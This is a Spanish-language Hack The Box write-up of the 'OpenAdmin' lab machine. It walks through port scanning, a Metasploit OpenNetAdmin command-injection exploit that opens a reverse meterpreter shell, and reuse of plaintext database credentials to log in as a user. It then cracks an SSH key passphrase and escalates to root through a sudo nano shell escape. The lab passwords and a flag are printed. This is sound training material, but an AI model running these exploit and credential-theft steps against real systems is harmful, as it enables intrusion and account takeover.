OpenAdmin

Hack The Box — Writeup

Openadmin

IP:10.129.22.246
OS:Linux
Dificultad:Easy
Fecha:3 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts

# Output
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Se identificaron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP). El puerto 22 fue descartado como vector inicial al requerir credenciales válidas, constituyendo el puerto 80 (HTTP) el único vector de ataque disponible.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hallazgo: al analizar las versiones de los servicios identificados se detectó que el servidor web corre Apache 2.4.29, versión desactualizada con múltiples CVE públicas asociadas.

Hipótesis: se investigaron las vulnerabilidades conocidas para esta versión, identificándose entre las más relevantes: CVE-2017-15715 (subida arbitraria de archivos con potencial de RCE), CVE-2018-1312 (replay attack en mod_auth_digest) y CVE-2017-9798 (Optionsbleed, fuga de memoria vía petición HTTP OPTIONS). Ninguna fue explotada en este punto al no contar aún con suficiente contexto de la aplicación para determinar cuál era aplicable.

Enumeración

Enumeración web inicial

Al acceder al puerto 80 se identificó la página por defecto de Apache, lo cual indica que el servidor está activo pero no expone directamente ninguna aplicación en la raíz.

Página por defecto de Apache

Dado que la página principal no reveló contenido de valor, se procedió a realizar un escaneo con Feroxbuster para enumerar rutas y archivos adicionales.

# Comando ejecutado
feroxbuster -u http://10.129.22.246/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt

# Output relevante
301      GET        9l       28w      316c http://10.129.22.246/artwork
301      GET        9l       28w      314c http://10.129.22.246/music
301      GET        9l       28w      312c http://10.129.22.246/ona
200      GET        0l        0w        0c http://10.129.22.246/ona/local/config/database_settings.inc.php
200      GET       51l       84w     1201c http://10.129.22.246/ona/local/config/motd.txt.example

Observación: entre los resultados del escaneo destacaron dos archivos de texto accesibles públicamente dentro del directorio /artwork/fonts/:

curl -O http://10.129.22.246/artwork/fonts/icomoon/Read%20Me.txt

% Total    % Received % Xferd
100    748 100    748    0     0   3765      0

cat Read%20Me.txt

Open *demo.html* to see a list of all the glyphs in your font
along with their codes/ligatures.
[...]
You can import *selection.json* back to the IcoMoon app using the
*Import Icons* button to retrieve your icon selection.

curl -O http://10.129.22.246/artwork/fonts/flaticon/backup.txt

cat backup.txt

eyIxIjp7IklEIjoxLCJuYW1lIjoiTXkgaWNvbnMgY29sbGVjdGlvbiIsImJv
b2ttYXJrX2lkIjoibWxwbDh5YmFqeTAwMDAwMCIsImNyZWF0ZWQiOm51bGws
[...Base64 truncado...]

Conclusión: tras revisar ambos archivos se determinó que Read%20Me.txt corresponde a documentación de la librería de iconos IcoMoon, y backup.txt contiene un JSON codificado en Base64 con metadata de una colección de iconos de la misma librería. Ninguno presentó valor para el proceso de explotación y ambos fueron descartados como vectores de ataque.

El hallazgo más relevante del escaneo fue el directorio /ona/, que al acceder desde el navegador reveló una instalación de OpenNetAdmin (ONA).

Identificación de OpenNetAdmin

Interfaz de OpenNetAdmin v18.1.1

La interfaz confirmó la versión v18.1.1 de OpenNetAdmin. Se investigó si dicha versión contaba con vulnerabilidades públicas conocidas.

Intento fallido — lectura del archivo de configuración vía HTTP:

curl http://10.129.22.246/ona/local/config/database_settings.inc.php

Por qué no funcionó: el archivo devuelve 0 bytes vía HTTP porque el servidor lo procesa como PHP y no expone su contenido directamente. Para leerlo se requiere acceso al sistema de archivos.

Explotación

Búsqueda y ejecución del exploit

searchsploit opennetadmin 18.1.1

Exploit Title                                    |  Path
-------------------------------------------------|------------------
OpenNetAdmin 18.1.1 - Command Injection Exploit  | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution      | php/webapps/47691.sh

Se identificó un módulo de Metasploit correspondiente a una inyección de comandos en la funcionalidad de ping de OpenNetAdmin.

msf > search -type exploit -name opennetadmin 18.1.1

#  Name                                                  Rank
-  ----                                                  ----
0  exploit/unix/webapp/opennetadmin_ping_cmd_injection   excellent

Intento fallido — payload incorrecto (linux/x86):

msf exploit(unix/webapp/opennetadmin_ping_cmd_injection) > run
[*] Started reverse TCP handler on 10.10.15.163:4444
[*] Exploiting...
[*] Command Stager progress - 100.00% done (704/704 bytes)
[*] Exploit completed, but no session was created.

Por qué no funcionó: el payload por defecto linux/x86/meterpreter/reverse_tcp es incompatible con la arquitectura x64 del servidor objetivo. Al cambiar el payload a generic/shell_reverse_tcp también falló por un error de dirección inválida relacionado con la configuración del LHOST.

Solución: se utilizó el payload específico para arquitecturas x64 y se ajustó el puerto:

set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.15.163
set LPORT 5555
set RHOSTS 10.129.22.246
run

[*] Started reverse TCP handler on 10.10.15.163:5555
[*] Exploiting...
[*] Sending stage (3090404 bytes) to 10.129.22.246
[*] Meterpreter session 1 opened (10.10.15.163:5555 -> 10.129.22.246:34354)
[*] Command Stager progress - 100.00% done (809/809 bytes)

Enumeración inicial como www-data

Desde Meterpreter se accedió a una shell interactiva:

meterpreter > shell
Process 2859 created.
Channel 1 created.
whoami
www-data
pwd
/opt/ona/www
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Intento fallido — estabilización con python3:

python3 -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 8: 1python3: not found

Por qué no funcionó: el sistema no tiene python3 instalado por defecto. Se intentó con python (versión 2):

python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 16: python: not found

Solución: se estabilizó la sesión con el comando script:

script /dev/null -c bash
Script started, file is /dev/null
www-data@openadmin:/opt/ona/sql$

Enumeración de binarios SUID

find / -perm -4000 2>/dev/null

/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/bin/ping
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/snap/core/7270/bin/mount
/snap/core/7270/bin/ping
[...binarios de snap omitidos por extensi\'on...]

Observación: Snap es el sistema de gestión de paquetes de Ubuntu (Canonical) que empaqueta aplicaciones con todas sus dependencias en contenedores aislados. Los binarios bajo /snap/core/7270/ y /snap/core/8039/ son copias de binarios estándar del sistema dentro de esos paquetes, no vectores de escalada independientes. Todos los binarios SUID identificados corresponden a utilidades estándar sin configuración explotable en el contexto actual. Se descartó esta vía.

Obtención de credenciales de base de datos

Se navegó por el sistema de archivos en busca de información sensible, localizando el archivo de configuración de base de datos de ONA:

cat /opt/ona/www/local/config/database_settings.inc.php

<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>

Hallazgo: se obtuvieron credenciales de base de datos en texto plano: usuario ona_sys y contraseña n1nj4W4rri0R!.

Se identificó que el sistema contaba con dos usuarios con shell válida:

cat /etc/passwd | grep -v nologin | grep -v false

root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

Hipótesis: se planteó la reutilización de la contraseña obtenida del archivo de configuración para autenticarse como alguno de los usuarios del sistema.

su jimmy
Password: n1nj4W4rri0R!

jimmy@openadmin:/opt/ona/www/local/config$

Resultado: la contraseña de la base de datos fue reutilizada por el usuario jimmy, confirmando el pivote al primer usuario del sistema.

Escalada de Privilegios

Enumeración como jimmy

ls -la /var/www/

total 16
drwxr-xr-x  4 root     root     4096 Nov 22  2019 .
drwxr-xr-x 14 root     root     4096 Nov 21  2019 ..
drwxr-xr-x  6 www-data www-data 4096 Nov 22  2019 html
drwxrwx---  2 jimmy    internal 4096 Nov 23  2019 internal
lrwxrwxrwx  1 www-data www-data   12 Nov 21  2019 ona -> /opt/ona/www

Hallazgo: se identificó un directorio internal propiedad del grupo internal, al cual jimmy tiene acceso como miembro de dicho grupo.

cat /var/www/internal/main.php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Hallazgo: el archivo main.php ejecuta directamente cat /home/joanna/.ssh/id_rsa y muestra el resultado en pantalla. Como jimmy no tiene acceso directo al directorio .ssh de joanna, se identificó que dicho script es servido por un servidor web interno accesible únicamente desde localhost.

ss -tlnp

State    Recv-Q    Send-Q  Local Address:Port    Peer Address:Port
LISTEN   0         80          127.0.0.1:3306         0.0.0.0:*
LISTEN   0         128         127.0.0.1:52846        0.0.0.0:*
LISTEN   0         128     127.0.0.53%lo:53           0.0.0.0:*
LISTEN   0         128             0.0.0.0:22         0.0.0.0:*
LISTEN   0         128                   *:80               *:*
LISTEN   0         128                [::]:22            [::]:*

Observación: el puerto 127.0.0.1:52846 corresponde al servidor web interno que sirve la aplicación /var/www/internal/, inaccesible desde el exterior. Desde la shell actual se realizó una petición directa a dicho servicio:

curl http://127.0.0.1:52846/main.php

<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
[...clave completa omitida por extensi\'on...]
-----END RSA PRIVATE KEY-----
</pre>

Resultado: se obtuvo la clave privada RSA cifrada de joanna.

Crackeo de la passphrase de la clave SSH

Se copió la clave a la máquina atacante y se procedió a crackear la passphrase:

ssh2john joanna_rsa > joanna.hash
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt joanna.hash

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Will run 12 OpenMP threads
bloodninjas      (joanna_rsa)
1g 0:00:00:01 DONE (2026-07-03 07:34)
Session completed

Resultado: passphrase obtenida: bloodninjas.

Acceso SSH como joanna

ssh -i joanna_rsa [email protected]

Enter passphrase for key 'joanna_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

joanna@openadmin:~$ whoami
joanna
joanna@openadmin:~$ cat user.txt
375ba71925a8dd276d9d4713e96a1226
joanna@openadmin:~$ sudo -l

User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv

Hallazgo: joanna puede ejecutar /bin/nano sobre el archivo /opt/priv como root sin contraseña. Consultando GTFOBins bajo la categoría sudo, se confirmó que nano permite escapar a una shell del sistema mediante la funcionalidad de ejecución de comandos del lector de archivos integrado.

Intento fallido — Ctrl+T (spell checker)

Hipótesis: según una entrada de GTFOBins, nano permite ejecutar comandos externos mediante Ctrl+T, que invoca el corrector ortográfico configurado.

sudo /bin/nano /opt/priv
# Dentro de nano: Ctrl+T -> /bin/sh

[ Spell checking failed: Error invoking "spell":
Inappropriate ioctl for device ]

Por qué no funcionó: la máquina no tiene un corrector ortográfico (spell) instalado, y además la shell obtenida vía Meterpreter carecía de una TTY adecuada para invocar ese mecanismo.

Intento fallido — redirección a archivo

Hipótesis: se intentó ejecutar /bin/sh mediante Ctrl+R $\rightarrow$ Ctrl+X y redirigir el output de comandos a un archivo temporal para sortear la falta de output visible.

# Dentro de nano: Ctrl+R -> Ctrl+X -> /bin/sh
# Luego en la shell ciega:
whoami > /tmp/test.txt

# Fuera de nano:
cat /tmp/test.txt
joanna

Por qué no funcionó: los comandos se ejecutaban como joanna en lugar de root, lo que indica que el sudo no estaba transfiriendo correctamente los privilegios desde la shell de Meterpreter, que carece de una TTY válida.

Escalada exitosa — reset con redirección de descriptores

Desde una sesión SSH directa como joanna, se ejecutó el comando correcto encontrado en GTFOBins:

sudo /bin/nano /opt/priv
# Dentro de nano: Ctrl+R -> Ctrl+X
reset; sh 1>&0 2>&0

Observación: el comando reset; sh 1>&0 2>&0 reinicia la terminal y redirige tanto la salida estándar como el error estándar al descriptor 0 (stdin), forzando que el output sea visible en la terminal actual.

Resultado: se obtuvo una shell interactiva con privilegios de root:

# whoami
root